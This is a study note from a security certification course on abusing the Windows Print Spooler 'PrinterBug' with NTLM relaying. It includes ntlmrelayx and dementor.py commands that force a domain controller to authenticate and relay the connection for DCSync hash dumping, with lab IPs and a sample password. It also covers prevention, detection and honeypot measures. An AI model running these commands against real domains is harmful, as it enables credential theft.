> For the complete documentation index, see [llms.txt](https://digitalgarden.batamladen.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://digitalgarden.batamladen.com/notes/certificates/cdsa/module-6-active-directory/print-spooler-and-ntlm-relaying.md).

# Print Spooler & NTLM Relaying

* **Print Spooler** is an old service enabled by default on Windows systems (even latest versions).
* **PrinterBug** (found in 2018) abuses Print Spooler to force a remote machine to authenticate elsewhere, sending a TGT (ticket-granting ticket).
* Microsoft won't fix this—it's **"by design."**

If **Print Spooler is enabled** on a Domain Controller (DC), an attacker can:

1. **Relay** the connection to another DC and perform **DCSync** (dump user hashes).
2. **Connect to a machine with Unconstrained Delegation (UD)** – extract TGTs from memory (with Rubeus/Mimikatz).
3. **Abuse AD CS** – get a certificate for the DC, impersonate it.
4. **Abuse Resource-Based Kerberos Delegation** – authenticate as any admin.

***

## Attack

**Pre-condition:** SMB Signing must be **disabled** on the target DC.

**Step 1: Start NTLMRelayx to relay to the second Domain Controller.**

```
impacket-ntlmrelayx -t dcsync://<DC2_IP> -smb2support
```

<figure><img src="https://2490252025-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUwIKQPujWqWSVFxQaX98%2Fuploads%2F9Umj9268ZOjSHqY2v5QP%2FPasted%20image%2020250415100557.png?alt=media&amp;token=4de42494-07f0-49ea-8ae8-1ffd9457592c" alt=""><figcaption></figcaption></figure>

**Step 2: Trigger the PrinterBug from a compromised user.**

```
python3 dementor.py <victim_DC_IP> <attacker_IP> -u <username> -d <domain> -p <password>
```

```
python3 ./dementor.py 172.16.18.20 172.16.18.3 -u bob -d eagle.local -p Slavi123
```

<figure><img src="https://2490252025-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUwIKQPujWqWSVFxQaX98%2Fuploads%2Ff1A39jzX4ELgtiNPnMqT%2FPasted%20image%2020250415100434.png?alt=media&amp;token=b3d28015-1436-41b5-a442-87bc3f1b838c" alt=""><figcaption></figcaption></figure>

**Step 3: Wait for NTLMRelayx to catch the connection and perform DCSync.**

**Result:** You receive user password hashes from the second DC.

***

## Prevention

* **Disable Print Spooler** on all non-printing servers (especially DCs).
* Or block remote calls via registry:
  * `RegisterSpoolerRemoteRpcEndPoint = 2` (disables remote access)

<figure><img src="https://2490252025-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUwIKQPujWqWSVFxQaX98%2Fuploads%2FWqtBHWR5rKiN8Kv21iPj%2FPasted%20image%2020250415100425.png?alt=media&amp;token=70c8a75a-321b-4249-86e7-cffab0511907" alt=""><figcaption></figcaption></figure>

***

## Detection

No specific logs for this, but:

* Monitor **logons from core servers**
* Correlate with **unexpected IP addresses**
* Look for successful logons from **Kali machine IP**

<figure><img src="https://2490252025-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUwIKQPujWqWSVFxQaX98%2Fuploads%2FlwnscAIj8gZ9eRxIhnHG%2FPasted%20image%2020250415100414.png?alt=media&amp;token=32cfbfa5-d87d-4cc1-9d1b-2720abc583db" alt=""><figcaption></figcaption></figure>

***

## Honeypot

* Block outbound 139/445 from DCs using firewall.
* This prevents reverse connection but **alerts you** if the bug is triggered.
* ⚠️ Only for **mature environments**, since unknown bugs could bypass this.


---

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